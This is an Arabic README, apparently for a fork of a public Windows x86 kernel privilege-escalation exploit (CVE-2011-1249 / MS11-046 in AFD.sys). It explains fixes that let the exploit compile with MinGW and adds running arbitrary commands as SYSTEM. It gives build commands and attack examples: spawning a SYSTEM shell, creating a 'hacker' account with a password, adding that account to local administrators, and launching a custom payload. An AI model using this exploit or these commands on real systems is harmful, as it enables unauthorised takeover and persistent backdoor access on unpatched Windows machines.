
CVE-2011-1249 (MS11-046) تصعيد امتيازات AFD — إصلاح التجميع المتقاطع لـMinGW + دعم الأوامر المخصصة
CVE-2011-1249 / MS11-046 — تصعيد الامتيازات لـ AFD.sys لنظام Windows x86.
الاستغلال الأصلي بواسطة Tomislav Paskalev (EDB-40564). هذا الفرع يصلح أخطاء الترجمة المتقاطعة لـ MinGW ويضيف تنفيذ أوامر مخصصة عبر argv[1].
| # | التغيير | السبب |
|---|---|---|
| 1 | FARPROC ZwQuerySystemInformation ← مؤشر دالة مكتوب (pZwQuerySystemInformation) | فحص النوع الصارم في MinGW يرفض استدعاء FARPROC ذو صفر معاملات مع وسائط — تفشل الترجمة مع too many arguments to function |
| 2 | تم تعليم المصفوفات securityPatches[] على أنها static | المصفوفات المعلنة داخل كتل if/else يتم تخصيصها في المكدس وتخرج من النطاق؛ بدون static تصبح المؤشرات معلقة |
| 3 | أمر مخصص عبر argv[1] | تشغيل أي أمر كـ SYSTEM بدلاً من cmd.exe الثابت |
تجميع الاستغلال الأصلي باستخدام MinGW يفشل:
ms11-046.c: error: too many arguments to function 'ZwQuerySystemInformation'; expected 0, have 4
FARPROC هو مؤشر دالة عام معلن بعدد صفر من المعاملات. يفرض MinGW فحص نوع صارم ويرفض استدعاءه مع وسائط. الإصلاح هو مؤشر دالة مكتوب بالتوقيع الصحيح.
توجد ثنائيات مسبقة التجميع (مثل SecWiki/windows-kernel-exploits) ولكنها لا تدعم الأوامر المخصصة.
sudo apt install mingw-w64
i686-w64-mingw32-gcc ms11-046.c -o ms11-046.exe -lws2_32
ms11-046.exe # default: spawns cmd.exe as SYSTEM
ms11-046.exe "net user hacker Pass123! /add" # add a user as SYSTEM
ms11-046.exe "net localgroup administrators hacker /add" # add to local admins
ms11-046.exe "c:\windows\temp\shell.exe" # run a custom payload as SYSTEM